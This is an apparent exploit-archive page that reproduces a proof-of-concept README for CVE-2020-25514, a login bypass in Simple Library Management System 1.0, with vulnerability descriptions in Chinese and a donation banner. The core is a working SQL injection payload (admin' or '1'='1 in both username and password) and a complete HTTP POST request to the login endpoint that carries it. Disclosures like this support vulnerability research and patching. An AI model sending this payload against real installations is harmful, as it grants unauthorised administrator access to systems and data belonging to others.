Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2020-25514 PoC — Library Management System 授权问题漏洞

Source
Associated Vulnerability
Title:Library Management System 授权问题漏洞 (CVE-2020-25514)
Description:Library Management System是一套图书管理管理系统。 Sourcecodester Simple Library Management System 1.0版本存在安全漏洞,该漏洞源于/lms/admin.php的错误访问控制的影响。
Description
Login Bypass in  Simple Library Management System 1.0
Readme
# CVE-2020-25514
#Login Bypass in  Simple Library Management System 1.0

#Vendor - https://www.sourcecodester.com

#Product -https://www.sourcecodester.com/php/14439/simple-library-management-system-project-using-phpmysql.html

#Vulnerability Type - Authentication Bypass

#Affected Component - Login Panel,[ http://<site>/lms/admin.php] http://<site>/lms/admin.php

#Attack Type- Local

#Impact Code execution - true

#Attack Vectors -  Go to Admin Login Panel and try to bypass login. 
#username : admin' or '1'='1 password : admin' or '1'='1

#Proof :

POST /lms/ajax.php?action=login HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1/lms/admin.php

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 55

Connection: close

Cookie: PHPSESSID=56c45f486f1d79c238482cec933a92a3


username=admin'+or+'1'%3D'1&password=admin'+or+'1'%3D'1
File Snapshot

[4.0K] /data/pocs/7ea1b238e2ad45a70e813f202adfb8315875dd13 └── [1.0K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.